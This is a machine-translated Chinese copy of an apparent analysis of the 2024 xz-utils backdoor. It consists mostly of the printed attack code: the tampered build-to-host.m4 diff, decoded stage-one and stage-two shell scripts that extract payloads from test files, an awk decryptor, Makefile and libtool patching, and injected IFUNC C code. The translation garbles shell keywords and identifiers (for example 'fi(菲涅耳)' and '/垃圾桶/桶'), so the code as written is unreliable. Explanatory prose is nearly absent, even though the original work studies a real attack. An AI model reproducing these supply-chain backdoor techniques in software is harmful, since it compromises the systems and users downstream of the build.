xz攻击shell脚本
发布于2024年4月2日,星期二。
2024年4月3日星期三更新。
介绍
diff—git a/build-to-host.m4 b/build--to-host.m4 索引ad22a0a。。 d5ec315 100644 ---a/构建到主机.m4 +++b/构建到主机.m4 @@ -1,5 +1,5 @@ -#build-to-host.m4系列3 -dnl版权所有(C)2023 Free Software Foundation,Inc。 +#build-to-host.m4系列30 +dnl版权所有(C)2023-2024 Free Software Foundation,Inc。 dnl这个文件是自由软件; 自由软件基金会 dnl给予复制和/或分发它的无限权限, dnl有无修改,只要保留此通知。 @@-37,6+37,7@@AC_DEFUN([gl_BUILD_TO_HOST], dnl定义somedir_c。 gl_final_[$1]=“$[$1]” +gl_[$1]_prefix=`echo$gl_am_configmake|sed“s/.*\.//g”` dnl将其从构建语法转换为主机语法。 案例“$build_os” cygwin*) @@-58,14+59,40@@AC_DEFUN([gl_BUILD_TO_HOST], 如果测试“$[$1]_c_make”=“\”“${gl_final_[$1]}”“\”; 然后 [$1]_c_make='\“$([$1])\”' fi(菲涅耳) +如果测试“x$glam_configmake”!= “x”; 然后 +gl_[$1]_config='sed\“r\n\”$gl_am_configmake|eval$gl_path_map|$gl_[#1]_prefix-d 2>/dev/null' +其他 +gl_[$1]_config='' +fi(菲涅耳) +_LT_TAGDECL([],[gl_path_map],[2])dnl +_LT_TAGDECL([],[gl_[$1]_prefix],[2])dnl +_LT_TAGDECL([],[gl_am_configmake],[2])dnl +_LT_TAGDECL([],[[1]_c_make],[2])dnl +_LT_TAGDECL([],[gl_[$1]_config],[2])dnl AC_SUBST([$1_c_make]) + +dnl如果主机转换代码已放置在$gl_config_gt中, +dnl而不是将其重新复制到config.status中, +dnl然后我们将在稍后运行config.status$glconfiggt,因此它 +dnl需要知道存储在那里的名称: +AC_CONFIG_COMMANDS([构建到主机],[eval$gl_CONFIG_gt|$SHELL 2>/dev/null],[gl_CONFIG_gt=“eval\$gl_[$1]_CONFIG”]) ]) dnl gl_BUILD_TO_HOST的一些初始化。 AC_DEFUN([gl_BUILD_TO_HOST_INIT], [ +dnl按顺序搜索Automake-defined pkg*宏 +Automake 1.10a+文档中列出的dnl。 +gl_am_configmake=`grep-aErls“#{4}[[:alnum:]]{5}#{4{$”$srcdir/2>/dev/null` +如果测试-n“$glamconfigmake”; 然后 +HAVE_PKG_CONFIGMAKE=1 +其他 +HAVE_PKG_CONFIGMAKE=0 +菲 + gl_sed_double_backslashes='s/\\/\\\\/g' gl_sed_escape_doublequotes=s/“/\\”/g' +gl_path_map='tr“\t\-_”“\t\-”' changequote(,)dnl gl_sed_escape_for_make_1=“s,\\([\”&'();<>\\\\`|]\\),\\\\1,g” changequote([,])dnl
gl_am_configmake=`grep-aErls“#{4}[[:alnum:]]{5}#{4{$”$srcdir/2>/dev/null` 如果测试-n“$glamconfigmake”; 然后 HAVE_PKG_CONFIGMAKE=1 其他的 HAVE_PKG_CONFIGMAKE=0 fi(菲涅耳)
%出口-Rn“####[[:alnum:]][[:alnum:]][[;alnum:]][(:alnum:]][:alnum:]]###$” 二进制文件/ tests/files/bad-3-corrupt_lzma2.xz匹配 %
. The
gl_[$1]_prefix=`echo$gl_am_configmake|sed“s/.*\.//g”`
如果测试“x$glam_configmake”!= “x”; 然后 gl_[$1]_config='sed\“r\n\”$gl_am_configmake|eval$gl_path_map|$gl_[#1]_prefix-d 2>/dev/null' 其他的 gl_[$1]_config='' fi(菲涅耳)
sed“\r\n”$gl_am_configmake|eval$gl_path_map|$gl_[$1]_prefix-d 2>/dev/null
猫/ tests/files/bad-3-corrupt_lzma2.xz | tr“\t\-_”“\t\-”| xz-d
dnl如果主机转换代码已放置在$gl_config_gt中, dnl而不是将其重新复制到config.status中, dnl然后我们将在稍后运行config.status$glconfiggt,因此它 dnl需要知道存储在那里的名称: AC_CONFIG_COMMANDS([构建到主机],[eval$gl_CONFIG_gt|$SHELL 2>/dev/null],[gl_CONFIG_gt=“eval\$gl_[$1]_CONFIG”])
$猫/ tests/files/bad-3-corrupt_lzma2.xz | tr“\t\-_”“\t\-”| xz-d ####你好#### #··Z·.hj· eval `grep^srcdir=配置状态` 如果测试-f..// 配置状态; 然后 评估`grep^srcdir=..// 配置状态` srcdir=“../../$srcdir” fi(菲涅耳) 导出i=“((head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+724)“; (xz-dc$srcdir/tests/files/good large_compressed.lzma| eval$i|尾部-c+31265| tr“\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131”“\0-\377”)| xz-F原始--lzma1-dc |/bin/sh ####世界#### $
bad-3-corrupt_lzma2.xz中有三个流。第一个流和第三个流是有效的xz流。 中间的流具有正确的流标题、块标题、索引和流页脚。 只有LZMA2数据已损坏。 如果出现以下情况,则应解压缩此文件
--单流 使用。
$猫/ tests/files/bad-3-corrupt_lzma2.xz | tr“\t\-_”“\t\-”| xz-d ####你好#### #U美元 [!$(uname)=“Linux”]&&退出0 [!$(uname)=“Linux”]&&退出0 [!$(uname)=“Linux”]&&退出0 [!$(uname)=“Linux”]&&退出0 [!$(uname)=“Linux”]&&退出0 eval `grep^srcdir=配置状态` 如果测试-f..// 配置状态; 然后 评估`grep^srcdir=..// 配置状态` srcdir=“../../$srcdir” fi(菲涅耳) 导出i=“((head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+939)“; (xz-dc$srcdir/tests/files/good large_compressed.lzma| 评估$i |尾-c+31233| tr“\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113”“\0-\377”)| xz-F原始--lzma1-dc |/bin/sh ####世界#### $
(head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&&。。。
(head-c+1024>/dev/null)&&head-c+2048&& (head-c+1024>/dev/null)&&head-c+2048&& …总计16倍。。。 头部-c+939
xz-dc$srcdir/tests/files/good large_compressed.lzma| 评估$i| 尾部-c+31233| tr“\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113”“\0-\377”| xz-F原始--lzma1-dc| /垃圾桶/桶
$xz-dc$srcdir/tests/files/good large_compressed.lzma| 评估$i| 尾部-c+31233| tr“\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131”“\0-\377”| xz-F原始--lzma1-dc P=“-fPIC-DPIC-fno-lto-ffunction-sections-fdata-sections” C=“pic_flag=\”$P\“” O=“^pic_flag=\”-fPIC-DPIC\“$” R=“支持is_arch_extension_supported” x=“__get_cpuid(” p=“good-large_compressed.lzma” U=“bad-3-corrupt_lzma2.xz”
[!$(uname)=“Linux”]&&仅退出0#5.6.1
评估$zrKcVq
if test-f配置状态; 然后 评估$zrKcSS 评估`grep^LD=\'\/config.status` eval `grep^CC=\'配置状态` eval `grep^GCC=\'配置状态` eval `grep^srcdir=\'配置状态` eval `grep^build=\'x86_64配置状态` eval`grep^enable_shared=\'yes\'配置状态` eval `grep^enable_static=\'配置状态` eval `grep^gl_path_map=\'配置状态`
#5.6.1中全新 vs=`grep-broaF'~!:_ W'$srcdir/tests/files/2>/dev/null` 如果测试“x$vs”!= “x”>/dev/null 2>&1; 然后 f1=`echo$vs | cut-d:-f1` 如果测试“x$f1”!= “x”>/dev/null 2>&1; 然后 start=`expr$(echo$vs | cut-d:-f2)+7` ve=`grep-broaF'|_! {-'$srcdir/tests/files/2>/dev/null` 如果测试“x$ve”!= “x”>/dev/null 2>&1; 然后 f2=`echo$ve |切割-d:-f1` 如果测试“x$f2”!= “x”>/dev/null 2>&1; 然后 [!“x$f2”=“x$f1”]&&退出0 [!-f$f1]&&退出0 end=`expr$(echo$ve | cut-d:-f2)-$start` eval `cat$f1|tail-c+${start}|head-c+${end}| tr“\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131”“\0-\377”| xz-F原始--lzma2-dc` fi(菲涅耳) fi(菲涅耳) fi(菲涅耳) fi(菲涅耳)
评估$zrKccj 如果! grep-qs'\[“HAVE_FUNC_ATTRIBUTE_IFUNC”\]=“1”'配置状态>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) 如果! grep-qs“define HAVE_FUNC_ATTRIBUTE_IFUNC 1”config.h>/dev/null 2>&1; 然后 退出0 fi(菲涅耳)
如果测试“x$enable_shared”!= “xyes”; 然后 退出0 fi(菲涅耳)
如果! (echo“$build”|grep-Eq“^x86_64”>/dev/null 2>&1)&&; 然后 退出0 fi(菲涅耳)
如果! grep-qs“$R()”$srcdir/src/liblzma/check/ccr64_fast.c>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) 如果! grep-qs“$R()”$srcdir/src/liblzma/check/crc32_fast.c>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) 如果! grep-qs“$R”$srcdir/src/liblzma/check/crc_x86_clmul.h>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) 如果! grep-qs“$x”$srcdir/src/liblzma/check/crc_x86_clmul.h>/dev/null 2>&1; 然后 退出0 fi(菲涅耳)
如果测试“x$GCC”!=' xyes'>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) 如果测试“x$CC”!=' xgcc'>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) LDv=$LD“-v” 如果$ LDv 2>&1|grep-qs“GNU ld”>/dev/null 2>&1; 然后 退出0 fi(菲涅耳)
如果! test-f“$srcdir/tests/files/$p”>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) 如果! test-f“$srcdir/tests/files/$U”>/dev/null 2>&1; 然后 退出0 fi(菲涅耳)
if test-f“$srcdir/debian/rules”||test“x$RPM_ARCH”=“xx86_64”; 然后 评估$zrKcst
j=“^ACLOCAL_M4=\$(top_srcdir)\/alocal.M4” 如果! grep-qs“$j”src/liblzma/Makefile>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) z=“^am__uninstall_files\from_dir={” 如果! grep-qs“$z”src/liblzma/Makefile>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) w=“^am__install_max=” 如果! grep-qs“$w”src/liblzma/Makefile>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) E=$z 如果! grep-qs“$E”src/liblzma/Makefile>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) Q=“^am__vpath_adj_setup=” 如果! grep-qs“$Q”src/liblzma/Makefile>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) M=“^am__include=包含” 如果! grep-qs“$M”src/liblzma/Makefile>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) L=“^all:all-recursive$” 如果! grep-qs“$L”src/liblzma/Makefile>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) m=“^LTLIBRARIES=\$(lib_LTLIBRARIES)” 如果! grep-qs“$m”src/liblzma/Makefile>/dev/null 2>&1; 然后 退出0 fi(菲涅耳) u=“AM_V_CCLD=\$(AM__V_CCLD_\$(V))” 如果! grep-qs“$u”src/liblzma/Makefile>/dev/null 2>&1; 然后 退出0 fi(菲涅耳)
如果! grep-qs“$O”libtool>/dev/null 2>&1; 然后 退出0 fi(菲涅耳)
评估$zrKcTy b=“am__test=$U”
sed-i“/$j/i$b”src/liblzma/Makefile||true
d=`echo$gl_path_map|sed's/\\\\/\\\\\\/g'` b=“am__strip_prefix=$d” sed-i“/$w/i$b”src/liblzma/Makefile||true
b=“am__dist_setup=\$(am__strip_prefix)|xz-d 2>/dev/null|\$(壳牌)” sed-i“/$E/i$b”src/liblzma/Makefile||true b=“\$(top_srcdir)/tests/files/\$(am__test)” s=“am__test_dir=$b” sed-i“/$Q/i$s”src/liblzma/Makefile||true
am__test=坏-3-损坏_lzma2.xz am__strip_prefix=tr“\\t\\-”“\\t_\-” am__dist_setup=$(am_strip_prefix)|xz-d 2>/dev/null|$(外壳) am__test_dir=$(top_srcdir)/tests/files/$(am__test)
h=“-Wl,--sort section=名称,-X” 如果! echo“$LDFLAGS”|grep-qs-e“-z,现在是”-e“-z-Wl,现在是“>/dev/null 2>&1; 然后 h=$h“,-z,现在” fi(菲涅耳) j=“liblzma_la_LDFLAGS+=$h” sed-i“/$L/i$j”src/liblzma/Makefile||true
sed-i“s/$O/$C/g”libtool|| true
k=“AM_V_CCLD=@echo-n\$(LTDEPS);\$(AM__V_CCLD_\$(V))” sed-i“s/$u/$k/”src/liblzma/Makefile||true l=“LTDEPS='\$(lib_LTDEPS)';\\\\”\ 导出top_srcdir='\$(top_srcdir)'\\\\ \n个\ 导出CC=“\$(CC)”\\\\ \n个\ 导出DEFS=“\$(DEFS)”\\\\ \n个\ export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES')'\\\\ \n个\ 导出包含=“\$(包含)”\\\\ \n个\ 导出liblzma_la_CPPFLAGS=“\$(liblzma _la_CPP FLAGS)”\\\\ \n个\ export CPPFLAGS=“\$(CPPFLAGS)”\\\\ \n个\ 导出AM_CFLAGS=“\$(AM_CFLAGS)”\\\\ \n个\ export CFLAGS=“\$(CFLAGS)”\\\\ \n个\ 导出AM_V_CCLD=“\$(AM__V_CCLD_\$(V))”\\\\ \n个\ 导出liblzma_la_LINK=“\$(liblzma _la_LLINK)”\\\\ \n个\ 导出libdir=“\$(libdir)”\\\\ \n个\ 导出liblzma_la_OBJECTS=“\$(liblzma _la_OBJECTS)”\\\\ \n个\ 导出liblzma_la_LIBADD=“\$(liblzma _la_LIBMADD)”\\\\ \n个\ sed rpath \$(am__test_dir)|\$(am__dist_setup)>/dev/null 2>&1“; sed-i“/$m/i$l”src/liblzma/Makefile || true 评估$zrKcHD
AM_V_CCLD=@回声-n$(LTDEPS)$ (金额__v_CCLD_$(v))
sed rpath$(am_test_dir)|$(am_dist_setup)>/dev/null 2>&1
猫/ 测试/文件/bad-3-损坏_lzma2.xz| tr“\t\-_”“\t\-”| xz-天| /垃圾桶/桶
fi(菲涅耳)
elif(测试-f.libs/liblzma_la-crc64_fast.o)&&(测试-f.libs/liblz ma_la-crc32_fast.o); 然后
#5.6.1中全新 vs='grep-broaF'jV!.^%'$ top_srcdir/tests/files/2>/dev/null` 如果测试“x$vs”!= “x”>/dev/null 2>&1; 然后 f1=`echo$vs | cut-d:-f1` 如果测试“x$f1”!= “x”>/dev/null 2>&1; 然后 start=`expr$(echo$vs | cut-d:-f2)+7` ve=“grep-broaF”%。 R.1Z'$top_srcdir/tests/files/2>/dev/null` 如果测试“x$ve”!= “x”>/dev/null 2>&1; 然后 f2=`echo$ve |切割-d:-f1` 如果测试“x$f2”!= “x”>/dev/null 2>&1; 然后 [!“x$f2”=“x$f1”]&&退出0 [!-f$f1]&&退出0 end=`expr$(echo$ve | cut-d:-f2)-$start` eval `cat$f1|tail-c+${start}|head-c+${end}| tr“\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131”“\0-\377”| xz-F原始--lzma2-dc` fi(菲涅耳) fi(菲涅耳) fi(菲涅耳) fi(菲涅耳)
评估$zrKcKQ 如果! grep-qs“$R()”$top_srcdir/src/liblzma/check/crc64_fast.c; 然后 退出0 fi(菲涅耳) 如果! grep-qs“$R()”$top_srcdir/src/liblzma/check/crc32_fast.c; 然后 退出0 fi(菲涅耳) 如果! grep-qs“$R”$top_srcdir/src/liblzma/check/crc_x86_clmul.h; 然后 退出0 fi(菲涅耳) 如果! grep-qs“$x”$top_srcdir/src/liblzma/check/crc_x86_clmul.h; 然后 退出0 fi(菲涅耳)
如果! grep-qs“$C”..// libtool; 然后 退出0 fi(菲涅耳) 如果! echo$liblzma_la_LINK | grep-qs-e“-z,现在是“-e”-z-Wl,现在是”>/dev/null 2>&1; 然后 退出0 fi(菲涅耳)
如果echo$liblzma_la_LINK | grep-qs-e“lazy”>/dev/null 2>&1; 然后 退出0 fi(菲涅耳)
N=0 W=0 Y=`grep“dnl将其转换为C字符串语法。”$top_srcdir/m4/gettext.m4` 评估$zrKcjv 如果测试-z“$Y”; 然后 N=0 宽=88664 其他的 N=88664 W=0 fi(菲涅耳)
xz-dc$top_srcdir/tests/files/$p|eval$i|LC_ALL=C sed“s/\(.\)/\1\n/g”|
LC_ALL=C awk' 开始{ FS=“\n”; RS=“\n”; ORS=“”; m=256; 对于(i=0;i<m;i++){t[冲刺(“x%c”,i)]=i;c[i]=((i*7)+5)%m;} i=0; j=0; 对于(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m,c[i]=c[j];c[j]=a;} } { v=t[“x”(NF<1?RS:$1)]; i=(i+1)%m; a=c[i]; j=(j+a)%米; b=c[j]; c[i]=b; c[j]=a; k=c[(a+b)%m]; 打印f“%c”,(v+k)%m }' |
xz-dc—单流|((head-c+$N>/dev/null 2>&1)&&head-c+$W)>liblzma_la-crc64-fast.o||true
如果! test-f liblzma_la-crc64-fast.o; 然后 退出0 fi(菲涅耳)
cp.libs/liblzma_la-crc64_fast.o.libs/liblzma _la-crec64-fast.o||真
V='#endif\n#if defined(CRC32_GENERIC)&&defined&& 定义(CRC_X86_CLMUL)和定义(CRC_USE_IFUNC)和定义的(PIC)&& (已定义(BUILDING_CRC64_CLMUL) 外部int _ get_cpuid(int,void*,void x,void,void); \n个 静态内联bool_is_arch_extension_supported(void){int success=1;uint32_tr[4]; 成功=获取cuid(1,&r[0],&r[1],&r[2],&r[3],((char*)__builtin_frame_address(0))-16); 常数uint32_t ecx任务=(1<<1)|(1<<9)|(1<<19); 返回成功&&(r[2]&ecx_mask)==ecx_misk;} \n个 #其他\n #定义_is_arch_extension_supported是_arch_extension_ssupported
评估$yosA 如果sed“/return is _arch_extension_supported()/c\return _is_arch_extension_ssupported()”$top_srcdir/src/liblzma/check/crc64_fast.c|\ sed“/include\”crc_x86_clmul.h\“/a\\$V”|\ sed“1i#0\”$top_srcdir/src/liblzma/check/crc64_fast.c\“”2>/dev/null|\ $CC$DEFS$DEFAULT_INCLUDES$包括$liblzma_CPPFLAGS$CPPFLAGS$AM_CFLAGS\ $CFLAGS-r liblzma_la-crc64-fast.o-x c-$P-o.libs/liblzma _la-crec64_fast.o 2>/dev/null; 然后
. The
... #如果已定义(CRC_X86_CLMUL) #定义BUILDING_CRC64_CLMUL #包括“crc_x86_clmul.h” #结尾 ... 静态crc64_func_type crc64重解析(无效) { 返回is_arch_extension_supported() ? & crc64_arch_optimized:&crc64_generic; }
#0“路径/to/src/liblzma/check/crc64_fast.c” ... #如果已定义(CRC_X86_CLMUL) #定义BUILDING_CRC64_CLMUL #包括“crc_x86_clmul.h” #结尾 #如果定义(CRC32_GENERIC)和定义(CRC64_GENERIC)和&\ 定义的(CRC_X86_CLMUL)和定义的(CRC_USE_IFUNC)以及定义的(PIC)和&\ (已定义(BUILDING_CRC64_CLMUL) 外部int _ get_cpuid(int,void*,void x,void,void); 静态内联bool_is_arch_extension_supported(void){ int成功=1; uint32_tr[4]; 成功=获取cuid(1,&r[0],&r[1],&r[2],&r[3],((char*)__builtin_frame_address(0))-16); 常数uint32_t ecx任务=(1<<1)|(1<<9)|(1<<19); 返回成功&&(r[2]&ecx_mask)==ecx_misk; } #其他 #定义支持的is_arch_extension_supported #结尾 ... 静态crc64_func_type crc64重解析(无效) { 返回_is_arch_extension_supported() ? & crc64_arch_optimized:&ccr64_generic; }
cp.libs/liblzma_la-crc32_fast.o.libs/liblzma _la-crec32-fast.o|true 评估$BPep 如果sed“/return is _arch_extension_supported()/c\return _is_arch_extension_ssupported()”$top_srcdir/src/liblzma/check/crc32_fast.c|\ sed“/include\”crc32_arm64.h\“/a\\$V”|\ sed“1i#0\”$top_srcdir/src/liblzma/check/crc32_fast.c\“”2>/dev/null|\ $CC$DEFS$DEFAULT_INCLUDES$包含$liblzma_la_CPPFLAGS$CPPFLAGS$AM_CFLAGS\ $CFLAGS-r-xc-$P-o.libs/liblzma_la-crc32_fast.o; 然后
评估$RgYB 如果$AM_V_CCLD$liblzma_la_LINK-rpath$libdir$liblzma_la_OBJECTS$liblxma_la/LIBADD; 然后
如果测试- f.libs/liblzma.so; 然后 mv-f.libs/liblzma_la-crc32-fast.o.libs/liblzma_ la-crc32快速.o|true mv-f.libs/liblzma_la-ccr64-fast.o.libs/liblzma_la-ccr64-fast.o|| true fi(菲涅耳)
rm-fr.libs/liblzma.a.libs/liblzma.la.libs/libl zma.lai.libs/liblzma.so*|true
其他的 mv-f.libs/liblzma_la-crc32-fast.o.libs/liblzma_ la-crc32快速.o|true mv-f.libs/liblzma_la-ccr64-fast.o.libs/liblzma_la-ccr64-fast.o|| true fi(菲涅耳)
rm-f.libs/liblzma_la-crc32-fast.o真 rm-f.libs/liblzma_la-crc64-fast.o |真
其他的 mv-f.libs/liblzma_la-crc32-fast.o.libs/liblzma_ la-crc32快速.o|true mv-f.libs/liblzma_la-crc64-fast.o.libs/liblzma _la-crec64_fast.o||真 fi(菲涅耳)
其他的 mv-f.libs/liblzma_la-crc64-fast.o.libs/liblzma _la-crec64_fast.o||真 fi(菲涅耳)
rm-f liblzma_la-crc64-fast.o为真
fi(菲涅耳) 评估$DHLd $